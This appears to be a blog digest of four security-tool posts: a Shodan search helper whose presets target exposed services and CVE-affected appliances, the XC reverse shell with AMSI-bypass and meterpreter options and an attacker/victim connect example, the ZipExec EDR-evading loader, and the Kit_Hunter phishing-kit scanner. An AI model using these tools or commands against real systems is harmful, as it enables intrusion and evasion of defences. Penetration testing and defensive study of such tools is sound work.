ShonyDanza - A Customizable

• ShonyDanza - A Customizable, Easy-To-Navigate Tool For Researching, Pen Testing, And Defending With The Power Of Shodan
• XC - A Small Reverse Shell For Linux And Windows
• ZipExec - A Unique Technique To Execute Binaries From A Password Protected Zip
• Kit_Hunter - A Basic Phishing Kit Scanner For Dedicated And Semi-Dedicated Hosting 

ShonyDanza - A Customizable, Easy-To-Navigate Tool For Researching, Pen Testing, And Defending With The Power Of Shodan Posted: 01 Dec 2021 12:30 PM PST A customizable, easy-to-navigate tool for researching, pen testing, and defending with the power of Shodan. With ShonyDanza, you can: Obtain IPs based on search criteria Automatically exclude honeypots from the results based on your pre-configured thresholds Pre-configure all IP searches to filter on your specified net range(s) Pre-configure search limits Use build-a-search to craft searches with easy building blocks Use stock searches and pre-configure your own stock searches Check if IPs are known malware C2s Get host and domain profiles Scan on-demand Find exploits Get total counts for searches and exploits Automatically save exploit code, IP lists, host profiles, domain profiles, and scan results to directories within ShonyDanza Installation git clone https://github.com/fierceoj/ShonyDanza.git Requirements python3 shodan library cd ShonyDanza pip3 install -r requirements.txt Usage Edit config.py to include your desired configurations cd configs sudo nano config.py #config file for shonydanza searches #REQUIRED #maximum number of results that will be returned per search #default is 100 SEARCH_LIMIT = 100 #REQUIRED #IPs exceeding the honeyscore limit will not show up in IP results #scale is 0.0 to 1.0 #adjust to desired probability to restrict results by threshold, or keep at 1.0 to include all results HONEYSCORE_LIMIT = 1.0 #REQUIRED - at least one key: value pair #add a shodan dork to the dictionary below to add it to your shonydanza stock searches menu #see https://github.com/jakejarvis/awesome-shodan-queries for a great source of queries #check into "vuln:" filter if you have Small Business Plan or higher (e.g., vuln:cve-2019-11510) STOCK_SEARCHES = { 'ANONYMOUS_FTP':'ftp anonymous ok', 'RDP':'port:3389 has_screenshot:true', 'OPEN_TELNET':'port:23 console gateway -password', 'APACHE_DIR_LIST':'http.title:"Index of / "', 'SPRING_BOOT':'http.favicon.hash:116323821', 'HP_PRINTERS':'"Serial Number:" "Built:" "Server: HP HTTP"', 'DOCKER_API':'"Docker Containers:" port:2375', 'ANDROID_ROOT_BRIDGE':'"Android Debug Bridge" "Device" port:5555', 'MONGO_EXPRESS_GUI':'"Set-Cookie: mongo-express=" "200 OK"', 'CVE-2019-11510_PULSE_VPN':'http.html:/dana-na/', 'CVE-2019-19781_CITRIX_NETSCALER':'http.waf:"Citrix NetScaler"', 'CVE-2020-5902_F5_BIGIP':'http.favicon.hash:-335242539 "3992"', 'CVE-2020-3452_CISCO_ASA_FTD':'200 "Set-Cookie: webvpn;"' } #OPTIONAL #IP or cidr range constraint for searches that return list of IP addresses #use comma-separated list to designate multiple (e.g. 1.1.1.1,2.2.0.0/16,3.3.3.3,3.3.3.4) #NET_RANGE = '0.0.0.0/0' Run  cd ../ python3 shonydanza.py See this how-to article for additional usage instruction. Legal Disclaimer This project is made for educational and ethical testing purposes only. Usage of ShonyDanza for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program. Download ShonyDanza

XC - A Small Reverse Shell For Linux And Windows Posted: 01 Dec 2021 03:30 AM PST Netcat like reverse shell for Linux & Windows. Features Windows Usage: └ Shared Commands: !exit !upload <src> <dst> * uploads a file to the target !download <src> <dst> * downloads a file from the target !lfwd <localport> <remoteaddr> <remoteport> * local portforwarding (like ssh -L) !rfwd <remoteport> <localaddr> <localport> * remote portforwarding (like ssh -R) !lsfwd * lists active forwards !rmfwd <index> * removes forward by index !plugins * lists available plugins !plugin <plugin> * execute a plugin !spawn <port> * spawns another client on the specified port !shell * runs /bin/sh !runas <username> <password> <domain> * restart xc with the specified user !met <port> * connects to a x64/meterpreter/reverse_tcp listener └ OS Specific Commands: !powe rshell * starts powershell with AMSI Bypass !rc <port> * connects to a local bind shell and restarts this client over it !runasps <username> <password> <domain> * restart xc with the specified user using powershell !vulns * checks for common vulnerabilities Linux Usage: └ Shared Commands: !exit !upload <src> <dst> * uploads a file to the target !download <src> <dst> * downloads a file from the target !lfwd <localport> <remoteaddr> <remoteport> * local portforwarding (like ssh -L) !rfwd <remoteport> <localaddr> <localport> * remote portforwarding (like ssh -R) !lsfwd * lists active forwards !rmfwd <index> * removes forward by index !plugins * lists available plugins !plugin <plugin> * execute a plugin !spawn <port> * spawns another client on the specified port !shell * runs /bin/sh !runas <username> <password> <domain> * restart xc with the specified user !met <port> * connects to a x64/meterpreter/reverse_tcp listener └ OS Specific Commands: !ssh < port> * starts sshd with the configured keys on the specified port Examples Linux Attacker:  rlwrap xc -l -p 1337 (Server) WindowsVictim :  xc.exe 10.10.14.4 1337 (Client) Argumentless:  xc_10.10.14.4_1337.exe (Client) Setup Make sure you are running golang version 1.15+, older versions will not compile. I tested it on ubuntu: go version go1.16.2 linux/amd64 and kali go version go1.15.9 linux/amd64 git clone --recurse-submodules https://github.com/xct/xc.git GO111MODULE=off go get golang.org/x/sys/... GO111MODULE=off go get golang.org/x/text/encoding/unicode GO111MODULE=off go get github.com/hashicorp/yamux sudo apt-get install rlwrap upx Linux: python3 build.py Known Issues When !lfwd fails due to lack of permissions (missing sudo), the entry in !lsfwd is still created Can't Ctrl+C out of powershell started from !shell !net (execute-assembly) fails after using it a few times - for now you can !restart and it might work again Tested:  Kali (Attacker) Win 10 (Victim) Credits Included PrivescCheck by itm4n for Windows Clients: https://github.com/itm4n/PrivescCheck Download Xc

ZipExec - A Unique Technique To Execute Binaries From A Password Protected Zip Posted: 30 Nov 2021 12:30 PM PST ZipExec is a Proof-of-Concept (POC) tool to wrap binary-based tools into a password-protected zip file. This zip file is then base64 encoded into a string that is rebuilt on disk. This encoded string is then loaded into a JScript file that when executed, would rebuild the password-protected zip file on disk and execute it. This is done programmatically by using COM objects to access the GUI-based functions in Windows via the generated JScript loader, executing the loader inside the password-protected zip without having to unzip it first. By password protecting the zip file, it protects the binary from EDRs and disk-based or anti-malware scanning mechanisms. Installation The first step as always is to clone the repo. Before you compile ZipExec you'll need to install the dependencies. To install them, run following commands: go get github.com/yeka/zip Then build it go build ZipExec.go or go get github.com/Tylous/ZipExec Help sandbox evasion using IsDomainedJoined. "> ./ZipExec -h __________.__ ___________ \____ /|__|_____\_ _____/__ ___ ____ ____ / / | \____ \| __)_\ \/ // __ \_/ ___\ / /_ | | |_> > \> <\ ___/\ \___ /_______ \|__| __/_______ /__/\_ \\___ >\___ > \/ |__| \/ \/ \/ \/ (@Tyl0us) Usage of ./ZipExec: -I string Path to the file containing binary to zip. -O string Name of output file (e.g. loader.js) -sandbox Enables sandbox evasion using IsDomainedJoined. Download ZipExec

Kit_Hunter - A Basic Phishing Kit Scanner For Dedicated And Semi-Dedicated Hosting  Posted: 30 Nov 2021 03:30 AM PST Kit Hunter: A basic phishing kit detection tool Version 2.6.0 28 September 2021 Testing and development took place on Python 3.7.3 (Linux) What is Kit Hunter? Kit Hunter is a personal project to learn Python, and a basic scanning tool that will search directories and locate phishing kits based on established markers. As detection happens, a report is generated for administrators. By default the script will generate a report that shows the files that were detected as potentially problematic, list the markers that indicated them as problematic (a.k.a. tags), and then show the exact line of code where the detection happened. Usage: Detailed installation and usage instructions are available at SteveD3.io Help To get quick help: python3 kit_hunter_2.py -h Default scan To launch a full scan using the default settings:  python3 kit_hunter_2.py Quick scan To launch a quick scan, using minimal detection rules:  python3 kit_hunter_2.py -q Custom scan To launch a custom scan:  python3 kit_hunter_2.py -c Note: When using the -c switch, you must place a tag file in the same location as Kit Hunter. You can name this file whatever you want, but the extension must be .tag. Please remember that the formatting is important. There should only be one item per line, and no whitespaces. You can look at the other tag files if you need examples. Directory selected scanning You can run kit_hunter_2.py from any location using the -d switch to select a directory to scan: python3 kit_hunter_2.py -d /path/to/directory However, it is easier if you place kit_hunter_2.py in the directory above your web root (e.g. /www/ or /public_html/) and call the script from there. The final report will be generated in the directory being scanned. In my usage, I call Kit Hunter from my /kit/download/ directory where new phishing kits are saved. My reports are then generated and saved to that folder. However, if I call Kit Hunter and scan my /PHISHING/Archive/ folder using the -d switch, then the report will save to /PHISHING/Archive/. Shell detection This latest release of Kit Hunter comes with shell detection. Shell scripts are often packaged with phishing kits, or used to deploy phishing kits on webservers. Kit Hunter will scan for some common shell script elements. The process works exactly the same way as regular scanning, only the shell detections are called with the -s switch. This is a standalone scan, so you can't run it with other types. You can however leverage the -m and -l flags with shell scanning. See the script's help section for more details. Once scanning is complete, output from the script will point you to the location of the saved scan report. Tag Files: When it comes to the tag files, there are 41 tag files shipping with v2.5.8 Kit Hunter. These tag files detect targeted phishing campaigns, as well as various types of phishing tricks, such as obfuscation, templating, theming, and even branded kits like Kr3pto and Ex-Robotos. New tag files will be added, and existing tag files will be updated on a semi-regular basis. See the changelog for details. As was the case with v1.0, the longer the tag file is, the longer it will take for the script to read it. Download Kit_Hunter